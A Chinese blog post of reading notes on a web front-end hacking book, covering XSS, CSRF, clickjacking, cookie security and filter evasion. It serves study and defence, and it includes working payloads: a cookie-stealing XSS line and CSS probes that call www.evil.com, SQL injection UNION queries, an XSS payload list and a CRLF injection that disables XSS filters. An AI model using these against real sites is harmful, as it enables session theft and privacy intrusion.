前些日子看完了白帽子講Web安全,當時就PHP安全一章做了點小筆記,感覺看書還是留下點東西比較好。翻開Web前端黑客技術揭秘一書決定要做筆記,但是這樣下來其實進度就比較慢了,敲字做筆記絕對遠比看書來的慢。有時候上午看完的內容做筆記時要花一天時間,一方面是要敲字,另一方面是自己只從書上摘錄部分內容有時候需要將其串起來,還有就是碰上自己想發兩句言也會拖慢進度。總之現在書是看完了,要消化的東西有挺多的,這也是做筆記的原因之一,如果不留下點什么,感覺就和閱后及焚差沒多少。
以下筆記內容遍布全書各個章節,其中二到六章內容會多點,實際上第二章和第六章不僅篇幅較多,個人也覺得還是全書最重要的兩章。第二章的內容是前端基礎,基礎抓好了才能做好后面的事。第六章講漏洞挖掘,我們之所以能利用某個漏洞進行攻擊,首先是因為發現了漏洞,而漏洞是不會自己站出來的,要靠我們去挖掘。其他章節也很重要,它們是整體的一部分,第七章起就偏向具體的場景分析或利用了,因此做的筆記在這方面也比較干澀,甚至連我本人都覺得有點難為情,不過怎么說呢,這部分雖然不討人喜歡但是少了它筆記下來就是殘缺的了,還是善始善終吧。
第一章 Web安全的關鍵點 #本章分為三小節,第一節數據與指令,第二節瀏覽器同源策略,第三節信任與信任關系
數據與指令:
現有的操作系統和各種軟件應用都存在漏洞,這一方面是在代碼編寫等方面存在缺陷,還有一方面也不容忽視。現代計算機都是遵循着馮諾依曼設計計算機時的體系架構,在設計這個架構時並沒有考慮到現今會面臨的各種安全問題,因此其缺陷一直流傳至今:代碼與數據沒有進行分離。這也是為什么在Web領域能發生SQL注入,XSS跨站腳本等攻擊
書上舉了兩個例子,一個是SQL注入,另一個是XSS攻擊
現在假設我要訪問www.foo.com/user.php?id=1,這個鏈接會對id=1進行查詢,再假設這條查詢語句在數據庫中為:select usernme,email,descl from users where id=1,普通用戶會中規中矩的輸入上面這個鏈接,而攻擊者卻會嘗試更多的操作,例如:www.foo.com/user.php?id=1 union select password,1,1 from users,經典的union查詢,獲取union表的password。如果不知道users表有幾列,可以構造union select 1,2或union select 1,2,3,4這樣的語句,根據返回信息判斷有數據表幾列。另外這個鏈接如果不加處理,很容易根據id值進行遍歷,這樣就可以獲得大量的用戶名和郵箱,導致用戶信息泄露
再看如果現在在www.foo.com/info.html文件中插入了如下代碼:<script>eval(location.hash.substr(1));</script>然后構造如下鏈接:www.foo.com/info.html#new%20Image().src="http://www.evil.com/good.php?c="+escape(document.cookie)如果訪問了該鏈接,代碼就會執行eval('newImage().src="http://www.evil.com/good.php?c="+escape(document.cookie)'),再然后就是cookie被盜了
那么為什么會這樣呢?原因在於location.hash獲取的是鏈接中#及之后的內容,加上substr(1)就變成了#之后的內容,放在eval函數里面,這些東西就會得到執行了
瀏覽器同源策略:
同源其實指的就是同域,相同的協議,相同的域名和相同的端口,三點中任何一個不滿足都不是同源的,即在沒有明確授權的情況下不能訪問對方資源
有時候需要對某個站點的訪問進行授權,可以這樣: Access-Control-Allow-Origin:http://www.test.com
有些程序員為了偷懶,將其設置為Access-Control-Allow-Origin:*,使用通配符是一件極其危險的事情,這意味着任何站點都可以訪問你的資源,這樣下來同源策略形 同虛設,就像你家里的大門隨時敞開但沒有人守一樣
信任與信任關系:
安全本質上來說是圍繞信任進行的,白帽子一書中作者也提到安全的本質就是信任的問題,直接說信任比較抽象,如果理解為認證、許可及權限,我是否相信你,能讓你做 哪些事情就好理解多了
第二章 前端基礎
#前端基礎講述Web前端一些基礎部分,當然略過了語法函數這樣更基礎的東西。一共有7節,重點的Web技術在后三節,javascript、css、actionscript各占一節,前面的東西也重要,更多的是做一些http方面的科普工作。
0X1 標准的制定者
無論瀏覽器、網站還是Web應用都會遵循某些標准。盡管少數標准沒有得到所有瀏覽器等廠商的嚴格支持,但這些標准不同於法規,你可以走灰色地帶,但是不能違背 它,制定標准的就是W3C。
0X2 URL
URL是URI的子集,通常情況下我們將URL等同於URI,其格式為:<scheme>://<domain>/<path>?<query>#<fragment>
這里<scheme>就是某個協議如:http,https,#<fragment>表示頁面不跳轉,仍然在當前頁面的某個地方,<fragment>通常為源代碼中的某個id的值,當然也可以是用戶自己構成的值
URL有三類編碼方式:escape、encodeURI、encodeURIComponent,對應着三個解碼函數unescape、decodeURI、decodeURIComponent
0X3 HTTP協議
平時瀏覽網頁,基本用的都是http協議,默認端口為80,它是一種無狀態請求響應,即如果你剛才登陸了某個論壇,但是論壇服務器卻不知道你有沒有登陸,這更像一個患了老年痴呆的人總記不得自己有沒有吃飯。為了改善用戶體驗,Cookie被發明了出來,Cookie可以作為一種記錄用戶登陸信息的憑證,既可以保存在內存中,也可以保存在本地,至於cookie的安全問題,那就是題外話了。
對於Web前端來說,深入理解HTTP很重要,書上給出了一些常用的信息,但在實踐中要用到的遠不止這些,例如:X-Forworded-For:。如果僅僅是日常使用,那么找兩篇講HTTP協議的文章看看,自己稍微積累就可以了。若是想對HTTP有個更深入的了解,可以看看《HTTP權威指南》,這本書英文原版出版於十幾年前,十幾年的時間里經歷了從Web1.0到Web2.0的變化,但是HTTP協議里那些基本的東西仍然在使用,就像C語言、C++現在用的標准和十幾年前沒多大區別一樣。
0X4 HTML世界
HTML代碼可以轉為DOM樹,就如做代碼漏洞掃描可以先將其轉為XML中間層一樣,按照標簽出現的關系和順序來排列,夾雜在標簽中的內容則作為其子項
內嵌標簽在HTML中是再常見不過的事情了,<head>、<body>也是標簽,不過不是這里提到的內嵌標簽。比較常見的是<script>、</script>、<iframe>這些。這里<iframe>作為一個可以嵌入第三方內容的標簽,經常被用來嵌入廣告頁面,因此對於<iframe>的評價也是褒貶不一。不過就<iframe>本身技術層面而言,它可以被用於跨域通信,在某些需要的情況下突破同源策略的嚴格限制,見:瘋狂的跨域技術。除此之外,對於安全而言,<iframe>也是實現網頁掛馬的好幫手。
0x5 跨站之魂——Javascript
1)之所以說Javascript是跨站之魂要考慮到Javascript作為面向對象腳本語言的使用范圍和靈活性,更重要的是爆發XSS的案例里面大多數是Javascript代碼實現的。
Javascript有很多內容,如果只算常見的屬性、函數、方法的話,加上一定的面向對象編程基礎上手還是比較快的,可以看一下《Javascript DOM編程藝術》
2)Ajax技術可以用於網頁的局部刷新,既能減少消耗的網絡帶寬,也能加快響應速度。Ajax有一個非常重要的對象XMLHttpRequest,關於其一些技術細節也可以參考《Javascript DOM編程藝術》
javascript和Ajax都嚴格遵守同源策略,前面提到可以通過<iframe>等在需要的情況下實現跨域,另一方面,W3C也推出了一個新方案用於跨域:CORS(cross-origin resource sharing),關於CORS的安全性和技術細節可以參考跨域資源共享(CORS)安全性淺析
3)前面說到cookie用來存儲用戶的會話信息,一方面方便了用戶,另一方面cookie也容易被利用來盜取用戶信息,它的安全也是一個不容忽視的問題,通過一些操作可以使得cookie的安全性加強
1.cookie的重要字段:[name][value][domain][path][expires][httponly][secure]
2.設置cookie時,不加指定的情況下cookie的使用范圍是本域,但是如果將domain指定為父級域,那么其兄弟域也可以訪問,一方面可以共享,同時也敞開了自家的大門,只要是有親緣關系的誰都可以進進出出
3.如果不指定path的值,默認就是當前頁面的路徑,例如對於www.foo.com/admin/index.php,path的值就是/admin/,雖然只有相同路徑下的javascript才能讀取cookie,但是通過iframe進行DOM操作可以實現跨路徑讀取cookie
xc = function(src){ var o = document.createElement("iframe"); // iframe 進入同域的目標頁面 o.src = src; document.getElementsByTagName("body")[0].appendChild(o); o.onload = function(){ // iframe 加載完成后 d = o.contentDocument || o.contentWindow.document; // 獲取document 對象 alert(d.cookie); // 獲取cookie }; }('http://a.foo.com/admin/index.php');
4.為了防止客戶端javascript腳本訪問cookie,可以設置HttpOnly,以PHP為例:
<?php setcookie("test",1,time()+3600,"","",0,1) ?>
即便設置了HttpOnly,XSS還是會存在,XSS是一種很靈活的技術,安全性加強了並不能保證就一定是安全的
CVE-2012-0053就是利用HTTP請求頭超過LimitRequestFieldSize的長度使Apache服務器報400錯誤並且在返回信息中暴露了HttpOnly Cookie,POC
5.Secure標志設置后,Cookie僅在https層進行傳輸,很好,傳輸過程加密保證了機密性。然而不足的是,客戶端腳本仍可對其進行讀寫,看起來是安全很多了,實際上效果卻沒有想象的那么好
6.之前提到過cookie分兩種,一種保存在內存中,瀏覽器一旦關閉就失效;還有一種是存在本地硬盤的,可以長時間有效,用戶下次直接就可以登錄但是由於是存在本地而且短時間內不會過期,風險也相當大。如果想要讓cookie過期,可以將expires的值設為當前時間之前的任何時間,沒必要非得刪除cookies
7.Cookie的P3P(Platform for Privacy Preference Project)是隱私保護的推薦標准,用於標識目標網站的Cookie是否可以被另一個域通過加載目標網站而設置或發送,平時P3P見得比較少,感興趣的話可以自己查閱相關資料
4)本地存儲風險
瀏覽器有幾種本地存儲方式,除了Cookie之外還有html5新增的localStorage和local Database,IE的UserData及flash的本地共享對象Flash Cookie
本地存儲存在被植入廣告跟蹤標志的風險,說真的,平時瀏覽網頁看到的各種各樣的廣告就已經很煩了。
1.瀏覽器限制每個域最多能有50個cookie,每個cookie長度不超過4KB,如果超過了,要不是刪除就是截斷了
2.UserData可以持久化,每個域最大能有64KB,想在本地保存什么東西相比cookie就有很大優勢了,不過只有IE支持
3.localStorage是那種你不主動刪除就不會消失的,這樣的話有時候也挺討厭的,為安全起見用完之后還得用戶自己清場。現在各大瀏覽器以SQLite或XML的格式對其進行存儲,以前都對SQL注入看得比XSS重,因為SQL注入發生在服務器端,現在客戶端也可以注入了。
4.Flash是通用的跨瀏覽器的解決方案,不存在各瀏覽器的兼容問題,由ActionScript腳本編寫,其cookie的存儲大小是100KB,存儲能力比上述都要大得多
5.E4X(ECMAScript For XML)可以用來混淆Javascript代碼,如下代碼:
<script>
foo = <foo><id name="thx">x<id></foo>;
alert(foo.id);
</script>
可以:alert(foo.id.@name)、alert(foo..@name),還可以更進一步:alert(<foo>hi</foo>)、alert(<>hi</>)
再考慮將腳本放在XML中,x=<>alert('hello')</>,獲取x的值,顯示出來就是eval(x+[])
嵌入在XML中的數據x=<>alert('hello')</>時無法自動執行的,可以改為x=<>{alert('hello')}</>,表示里面是要執行的腳本
關於e4x更多信息可以參考 http://www.thespanner.co.uk/?s=e4x
5) Javascript函數劫持
這里的函數劫持是指在目標函數觸發前,重寫目標函數
var _eval=eval; eval = function(x){ if(typeof(x)=='undefined'){return;} alert(x); // 這之前可以寫任意代碼 _eval(x); }; eval('alert(1)'); // 這時的eval 會先彈出它的參數值,然后才是動態執行參數值
0X6 CSS
CSS可以控制網頁的呈現樣式,包括顏色、透明、偏移、布局,可以用來構造我們想要的網頁,也可以偽裝網頁進行釣魚攻擊
1) CSS具有非常高的容錯性,前一個樣式出現的非法字符並不影響后面樣式塊的正常解析
h1{font-size:50px;color:red; </style> <div>xxx</div> }h2{color:green}
很明顯h1中的<style>標簽不完整,所以h1樣式塊里出現了非法字符串,但結果是h1和h2都正常生效了。如果現在h1無法解析了,里面有很多非法字符,為了保證h2能正常解析,可以在h2前面加上{}
2) CSS偽類
以<a>標簽的偽類為例:
:link 有鏈接屬性時
:visited: 鏈接被訪問過
:active 點擊激活時
:hover 鼠標移過時
利用:visited偽類可以用來刷選用戶訪問過哪些網站,協助抓取用戶上網的喜好
<a href="www.cnblogs.com/r00tgrok/" id="a1">www.cnblogs.com/r00tgrok/</a><br>
針對id設置對應的:visited樣式:
#a1:visited{background:url(http://www.evil.com/css.php?data=a1);}
這里如果id=a1的鏈接被訪問過,:visited就會被觸發,然后發送唯一請求道目標www.evil.com/css.php地址
這種行為沒有直接進行攻擊,更像是社會工程學,現在已經繞不過瀏覽器了,但是這並不代表所有為了都無效了,只要肯花時間,總是能找到的
3) CSS3的屬性選擇符
E[att^="val"]是字符串匹配的屬性選擇符,匹配具有att屬性且以val開頭的E元素
方括號里面有點正則的感覺,看起來又像一個復制語句
E:nth-child(n)是結構性偽類,匹配父元素中第n個子元素E
看一個具體例子:
<style>input[value^="x"]{background:url(www.evil.com/css.php?data=0x);}</style>
attr selector:<input type="text" value="xyz" /><br />
判斷input表單項的值是否以x開頭,如果是則會觸發唯一性請求
0X7 ActionScript
ActionScript由Flash腳本的虛擬機執行,通常運行於瀏覽器的安全沙箱之中,常接觸的版本有AS2和AS3
1) 安全沙箱
1.FlashPlayer的權限控制
系統管理員用戶控制如下兩種類型:mms.cfg文件——數據加載,隱私控制等;"全局Flash Palyer信任目錄"——在這個目錄下swf文件可以與其他swf文件交互,也可以從任意其他地方加載數據,這里面的文件都是得到信任的
普通用戶控制,控制如下三種類型:攝像頭和麥克風設置;Flash Cookies;用戶自己的"Flash player信任"目錄
Web站點控制——crossdomain.xml,配置文件中有一個節點:<site-control permitted-cros-domain-plocies="all"/> ,有5個可能的值,其中master-only為默認值,只允許使用注冊了文件;all表示可使用loadPolicyFile方法加載任何文件作為跨域策略文件
2.安全沙箱
本地沙箱有三種類型:只能與文件系統內容交互的本地沙箱——不能與網絡上的對象通信;只能與遠程內容交互;受信任的沙箱——既得信任,可與本地和遠程域通信
對於如下Security.sandboxType編碼:
Security.REMOTE; Security.LOCAL_WITH_FILE; Security.LOCAL_WITH_NETWORK; Security.LOCAL_TRUSTED
2) HTML嵌入flash
在發布Flash時生成的HTML文件內<object>與<embed>有幾個重要屬性
<object type="application/x-shockwave-flash" data="http://www.foo.com/hi.swf" width="550" height="400"> <param name="movie" value="http://www.foo.com/flash/hi.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all"> <param name="allowFullScreen" value="true"> <param name="flashvars" value="a=1"> </object>
1.allowNetworking控制Flash文件的網絡訪問功能,有三個值:all,internerl(default value),none
2.allowScriptAccess控制ActionScript與javascript的通信,有三個值:never,sameDomain,always
3.allowFullScreen控制是否全屏,默認為false
3) 跨站Flash
AS2中,loadMovie等函數可以加載第三方Flash文件,AS3中改為通用的Loader類進行外部數據處理
var param:Object = root.loaderInfo.parameters; var swf:String = param["swf"]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);
AS2相比AS3更簡潔,因為參數更靈活,不過在Web中參數太靈活可不一定是什么好事,SQL注入就是利用用戶輸入的參數實施的攻擊
4) 參數傳遞
AS2中的_root.argv形式,argv直接就是參數名
AS3的root.loadInfo.parameters形式,返回參數鍵值的字典結構
另外還有外部的XML形式
5)Flash內嵌HTML
Flash支持的能導致安全問題的只有<a>、<img>
<a>僅支持target與href屬性,href:支持Javascript偽協議;AS2支持asfunction偽協議;AS3支持event:事件協議
無論AS2還是AS3,都支持直接嵌入swf文件解析
var t:TextField = new TextField(); // 實例化TextField 對象 t.width = 500; t.height = 300; t.htmlText += '<a href="event:javascript:alert(document.documentElement. innerHTML)">click1</a>'; t.addEventListener("link", clickHandler); // 監聽鏈接點擊事件 addChild(t); // 將TextField 實例附加進Flash 上下文 function clickHandler(e:TextEvent):void { navigateToURL(new URLRequest(e.text),"_self"); }
6) 與Javascript通信
AS2中使用getURL(),AS3中使用navigateToURL()替代之
navigateToURL(new URLRequest('javascript:alert(1)'),"_self");
ExternalInterface是ActionScript轉碼用於與Javascript通信的接口對象
import flash.external.ExternalInterface; function set_watermark(){...} ... ExternalInterface.addCallback("set_watermark", set_watermark);//接口名\函數名 ... ExternalInterface.call("eval","alert(/ready/)");//調用外部Javascript函數
7) Something else
...
Web前端花了不少精力介紹Web前端技術的一些不太基礎的基礎,前端就是我們看得見的東西,在這里Javascript、CSS和ActionScript都做了個大概的介紹。平時如果寫網頁的話,Javascript和CSS可能接觸得會比ActionScript多一點,盡管如此,與ActionScript關系密切的Flash我們卻並不陌生,平時網頁視頻或者一些文件的顯示都依賴於Flash。這三者結合起來可用於釣魚,XSS等網絡攻擊,每一個部分都有其研究價值,現在其實只是做一個簡單的了解,后面還會與它們繼續打交道
第三章 XSS
書上XSS一章內容比較少,如果想詳細了解XSS的話可以參考《XSS跨站腳本》,不過本書中引用的webappsec上面的一些內容也可以參考參考,摘錄如下:
#常見的輸入點:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
#常見的輸出點:
document.write(…)
document.writeln(…)
document.body.innerHtml=…
#直接修改DOM樹:
document.forms[0].action=… (and various other collections)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. … (accessing the DOM through the body object)
window.attachEvent(…)
#替換document URL:
document.location=… (and assigning to location’s href, host and hostname)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
#打開或修改新窗口:
document.open(…)
window.open(…)
window.location.href=… (and assigning to location’s href, host and hostname)
#直接執行腳本:
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
第四章 CSRF
CSRF和XSS略有差別,XSS需要借用Javascript等腳本語言,CSRF可以使用Javascript也可以不用。CSRF是跨域請求偽造,首先的跨域,但是瀏覽器的同源策略限制了腳本語言發生跨域請求,而客戶端的HTML標簽等發出的跨域GET請求被認為是合法的。既然是偽造,當然不可能毫無根據的說什么就是什么,它有一個前提條件:請求是身份認后的,即目標網站的本地cookie在跨域請求中被帶上。以取快遞為例,現假設乙要冒充甲取他的快遞,有兩種可能,第一甲是貨到付款的,那么乙如果想拿走快遞就得自己掏錢,他顯然是不願意的。第二,如果甲已經付了錢,乙只要知道甲的手機號和名字,或者在加上領取快遞的編號就可以冒充甲取快遞。乙可能認識甲,但他需要手機號等信息作為憑證,而這些信息就相當於Cookie,他可以問別人要到,這就是跨站請求偽造。對於攜帶自己的cookie去訪問其他網站,IE會做出較嚴格的限制,其他瀏覽器則寬松許多。
按攻擊類型分CSRF分為:HTML CSRF,JSON HiJacking,Flash CSRF
HTML中能設置href/src等連接的標簽都可以發起一個GET請求,如<link href="">
CSS中@import ""和background:url("")同樣可以
JSON HiJacking是對Ajax響應中JSON數據類型進行劫持攻擊,響應的JSON數據有兩種格式,字典(hash)格式和列表(list)
格式。JSON數據如果以字典形式返回不能直接在瀏覽器中顯示,應該對其進行處理,如eval("("+JSON_DATA+")")
Flash CSRF相比之下有一個顯而易見的好處——攻擊過程更加隱蔽,參考如下代碼:
import flash.netURLRequest; function post(msg) { var url = new URLRequest("http://t.xx.com/article/update"); var _v = new URLVariable(); _v = "status"+msg; url.method = "POST"; url.data = _v; sendToURL(url); } post('CSRF PAYLOAD');
第五章 界面劫持
1) 界面劫持概述
界面劫持是基於視覺欺騙的Web攻擊,分為三種:
No.1 點擊劫持——劫持有會話交互的頁面,鼠標點擊后便被劫持
No.2 拖放劫持——用鼠標拖放來實現某些操作時進行劫持操作擴展了點擊劫持的范圍,另外拖放不受同源策略限制
No.3 觸屏劫持——移動終端上用戶只能通過手指在較小的界面上觸屏完成操作
2) 劫持技術原理
1.點擊劫持:CSS透明層+iframe
利用CSS中透明屬性opacity,取值范圍0~1,取值0時透明度最高,opacity:0.5
用iframe嵌入被劫持界面:<iframe id = "victim" src="www.victim.com" scrolling="no">
2.拖放劫持
使用dataTransfer對象,該對象有兩個方法:getData和setData
event.dataTransfer.setData("URL","www.evil.com");
var url = event.dataTransfer.getData("URL");
setData像系統剪切板中存儲需要傳遞的數據,getData獲取由setData存儲的數據
使用HTML5拖放函數,包括ondrag,ondragstart,ondragend,ondragenter,ondragover,ondrop等
3.觸屏劫持
移動設備屏幕不同於傳統Web,對應的可視區域viewport也需要改變
與PC端瀏覽網頁不同,移動設備上會使用全屏模式因此URL地址欄
移動設備不能用鼠標操作,因此用模擬鼠標鍵盤動作的函數實現觸屏
4.界面劫持技術實際是一種視覺欺騙,利用CSS等技術可以將包含惡意代碼的網頁覆蓋在用戶交互的頁面上的任何地方,調整透明性使得對用戶而言不可見或容易忽略,用戶上當后即被劫持,說起來感覺就是變魔術一樣
第六章 漏洞挖掘
漏洞挖掘是本書中非常有價值的一章,更多的傾向於XSS的漏洞挖掘,相比之下CSRF與界面劫持確實要容易一些。
CSRF的漏洞挖掘只需確認以下內容:
目標表單是否有有效的token隨機串;
目標表單師傅有驗證碼;
目標是否判斷了Refere來源;
網站根目錄下的crossdomain.xml的"allow-access-from domain"是否是通配符;
目標JSON是否可以自定義callback函數
界面劫持的漏洞挖掘只需確認以下內容:
目標的HTTP響應頭是否設置了X-Frame-Options字段;
目標是否有Javascript的Frame Busting機制;
更簡單的是用iframe嵌入目標網站試試
No.1 普通XSS自動化挖掘思路--反射型
1) 反射型XSS最常見的就是直接在URL中進行注入,至於URL的格式前面已經提到過,如下:
<scheme>://<domain>/<path>?<query>#<fragment> 在完整的URL構成中,<path>、<query>、<fragment>都是用戶可控的
2) 一般情況下可以通過將payload加入到參數來測試XSS的存在與否
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
' onmouseover=alert(1) x='
` onmouseover=alert(1) x=`
javascript:alert(1)//
'";alert(1)
}x:expression(alert(1))
.....
根據請求后的翻譯看是否有彈出窗或瀏覽器腳本錯誤,如果有則說明目標存在XSS漏洞
例如:www.test.com/xss.php?id=1,這里輸入點為id=1,既然有輸入點,查看結果則依賴於輸出點,可能是以下幾處:
HTML標簽之間,<div id="body">[output]</div>
HTML標簽內,<input type="text" value=[output] />
Javascript代碼的值,<script>a="[output]";...</script>
CSS代碼的值,<style>body{font-size:[output]px;...}</style>
就HTML標簽之間的輸出點而言,有很多標簽之間的腳本是無法執行的:<tiltle>,<textarea>,<xmp>,<iframe>,<noscript>,<plaintext>這些標簽他們之間放置腳本也無法執行,必須做點什么才行:<title><script>alert(1)</script>。另外,對於標簽<script>和<style>標簽而言,它們不能嵌套標簽,上面<title><script>alert(1)</script>其實就是在<title>中嵌套標簽
HTML標簽之內要做的其實很簡單,構造標簽、閉合標簽,不過單閉合標簽就有非常多種可能,例如:
<input type="hidden" value="[output]" />,這里需要閉合input標簽,否則會由於hidden的特效導致無法觸發XSS
Javascript和CSS代碼的值其實和上面非常類似,說起來都是構造能執行的Javascript語句,閉合標簽
No.2 DOM渲染
1) HTML與Javascript自解碼機制
以如下代碼為例:
function HtmlEncode(str){ //sample a var s = ""; if(str.length==0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/\"/g,"""); return s; } </script> <input type="button" id="exec_btn" value="exec" onclick="document.write(HtmlEncode(<img src=@ onerror=alert(123) />'))" />
這段代碼不會執行alert(123),做點改動如下:
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123) />')" /> //sample b
這次alert(123)得到了執行,點擊樣例b時,document.write實際是:<img src=@ onerror=alert(123) />
為什么會這樣呢?這里onclick里面的Javascript代碼出現在HTML標簽內,意味着Javascript可以進行HTML形式的編碼,這種編碼分為進制編碼和HTML實體編碼。在Javascript執行之前,HTML形式形式的編碼會自動解碼。反過來說如果HTML編碼的上下文環境是Javascript,那么在Javascript執行之前不會自動解碼。這種情況下,用戶輸入要遵守的是Javascript編碼,有如下幾種:Unicode形式(\uH)、普通十六進制(\xH)、純轉義(\轉義)。用戶輸入會被編碼或轉義,但Javascript在執行之前會執行去轉義的操作——自動解碼。
前面提到了在<title>,<textarea>,<noframes>等標簽之間腳本是不執行的,同樣的HTML也不解析
2) URL編碼差異
對特殊字符的編碼,幾大主流瀏覽器之間是存在小小差異的,書上給出了一個示例,代碼如下:
<?php echo '<h3>$_SERVER["QUERY_STRING"]</h3>'; echo $_SERVER["QUERY_STRING"]; echo ''; echo 'in<input > <input type="text" value="'.$_SERVER["QUERY_STRING"].'" />'; //echo '<h3>$_GET["c"]</h3>'; //echo $_GET["c"]; //echo ''; //echo 'in <input > <input type="text" value="'.$_GET["c"].'" />'; ?>
書上給出的測試結果是FireFox對字符的編碼相對是最全的,Chrome次之,IE不做任何編碼
拿到本地進行測試,去掉源代碼中的注釋符,查詢如下:?c='"`<>!@$%^*(){}[]:;.,?~
三個瀏覽器抓包得到的情況如下:
IE10:GET /test/url-test.php?c='"`<>!@$%^*(){}[]:;.,?~ HTTP/1.1
Chrome31:GET /test/url-test.php?c='%22`%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
FireFox25:GET /test/url-test.php?c=%27%22%60%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
看得出來的確如此,按這樣說的話Firefox應該是最安全的,但是當查詢改為:c=<script>alert(123)</script>時,IE是直接禁用了腳本,Chrome沒有彈出框,而Firefox彈出了123的框,這說明編碼上存在的差異不足以完全決定瀏覽器在遇到腳本執行時采取的措施,像IE這樣既有XSS filter,而且會自動對頁面修改以防止跨站腳本,雖然沒有對特殊字符編碼,仍然是安全的
No.3 DOM XSS挖掘
1)漏洞挖掘跟代碼審計一樣,分為靜態方法和動態方法,靜態方法一旦發現可以特征就得中斷下來人工分析。就工具化而言,靜態方法可以使用正則表達式匹配輸入點和輸出點:
輸入點:
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/
輸出點:
/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/
與靜態方法只需進行特征匹配不同,動態方法要對程序的執行流程進行跟蹤,除了輸入點和輸出點外還要關心邏輯過程。一種比較簡單的方式時借用瀏覽器動態執行的優勢,以DOM樹的改變為判斷依據,對輸入點進行模糊測試,然后判斷渲染后的DOM樹中是否有期望的值,不過這種方法無法邏輯判斷導致的誤差
2) 網站上經常會有swf的flash文件,毫無疑問這些文件可能會有XSF風險。對於Flash文件,同樣可以通過靜態和動態的方式進行分析,靜態分析可以用HP的SWFScan對swf文件反編譯,查看源代碼。動態分析則可以利用Firebug等工具進行跟蹤
3) 字符集缺陷導致的XSS
GBK:第一個字節(高字節)的范圍是0x81~0xFE,第二個字節(低字節)的范圍是0x40~0x7E與0x80~0xFE
對於像PHP中magic_quotes_gpc = On的情況,雙引號等會被\(0x5c)轉義。在GBK低字節中,如果之前有一個高字節,那么就會組成一個合法的字符串,這就是款字節編碼的繞過。
GB2312:被GBK兼容,高位范圍是0xA1~0xF7,低位范圍是0xA1~0xFE。由於GBK兼容GB2312,因此存在把GB2312按GBK處理的情況。
UTF7:現在僅IE仍支持UTF-7,或者說以前的版本中IE會自動選擇UTF-7。有幾種方式可以使用UTF-7:通過iframe方式調用外部UTF-7編碼的HTML文件——IE現在限制了<iframe>只能嵌入同域內的UTF-7編碼文件;通過link方式調用外部UTF-7編碼的CSS文件;指定BOM(Byte Order Mark,標記字節順序碼)文件頭——只出現在Unicode字符集中。如果發現BOM是+/v8或者碰到+v/9,+/v+等的字符串就可以認為是UTF-7編碼。
在實際中能控制目標網頁開頭部分的功能有用戶自定義的CSS樣式文件、JSON Callback類型的鏈接,而要修補這類問題只需在目標網頁開頭部分強制加一個空格即可,這樣BOM頭便無效了。
No.4 繞過瀏覽器XSS Filter
XSS Filter主要針對反射型XSS,大體采用的是啟發式的檢測,即根據用戶提交的參數是否判斷是否有潛在的XSS特征,
並重新渲染響應的內容保證潛在的XSS特征不會觸發,IE自動修改頁面就是重新渲染的例子。
響應頭CRLF注入繞過:若目標網頁存在響應頭不CRLF注入,在HTTP響應頭注入回車換行符就可以注入頭部:
X-XSS-Protection: 0用於關閉XSS Filter機制,例如:http://test.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert%28123%29%3B%3C%2fscript%3Ey
針對同域的白名單:
IE會判斷Referer來源是否是本域,如果是則XSS Filter不會生效,如:referer:<?php echo $_SERVER['HTTp_REFERER'] ?>
Chrome則與IE不一樣,如果<script>嵌入同域內的js文件,XSS Filter便不會防御
對於一些依賴場景特性的,比如說PHP開啟了GPC魔法引號,也有辦法繞過瀏覽器的XSS Filter
http://www.foo.com/xss.php?x=<script %00%00%00>alert(123)</script>
No.5 混淆的代碼
毫無疑問,本節是漏洞挖掘一章最重要的,所占的篇幅也最多,在很多情況下瀏覽器或網站會對一些代碼過濾,當過濾集比較完善時可能一般的方法無法繞過,這時候就需要對代碼進行混淆,基於黑名單的過濾器畢竟是有限的集合,精妙構造的混淆代碼可以繞過。
1) 瀏覽器的進制
HTML屬性中用的最多是十進制和十六進制,十進制在HTML中用形如A的方式表示;十六進制則為O的形式。
CSS代碼中只能用到十進制和十六進制,除了兼容HTML中的進制表示外,十六進制還可以使用\6c的形式表示。
Javascript代碼中可直接通過eval執行的字符有八進制(\56)和十六進制(\x4c)兩種編碼方式,它們都不能給多字節字符編碼,只能用十六進制的Unicode編碼。
另外Javascript自帶了兩個函數可以進行進制的編碼解碼:char.toString(2 | 8 |10 | 16), String.fromCharCode(code,18)
書上給出了一段自定義的編碼解碼函數,也可以使用http://monyer.com/demo/monyerjs/進行在線編碼解碼
瀏覽器對進制的識別表現良好,將HTML代碼或Javascript編碼為十進制或十六進制后都能得到執行,更可喜的是進制方式對字母大小寫不敏感,后綴";"也非必須,即便在代碼里進行混合進制的編碼,瀏覽器依然能識別。
2) 瀏覽器的編碼
Javascript中有三套編碼/解碼函數:
escape/unescape
encodeURL/decodeURL
encodeURLComponent/decodeURLComponent
三種編碼近乎相同,區別在於:
escape不編碼的字符有69個:*、+、-、.、/、_、0~9、a~z、A~Z且對0~255以外的unicode編碼時輸出%u****格式
encodeURL不編碼的字符有82個:!、#、$、&、'、(、)、,、:、;、@、=、?、*、+、-、.、/、_、0~9、a~z、A~Z
encodeURLComponent不編碼的字符有71個:!、'、(、)、*、-、_、.、~、0~9、a~z、A~Z
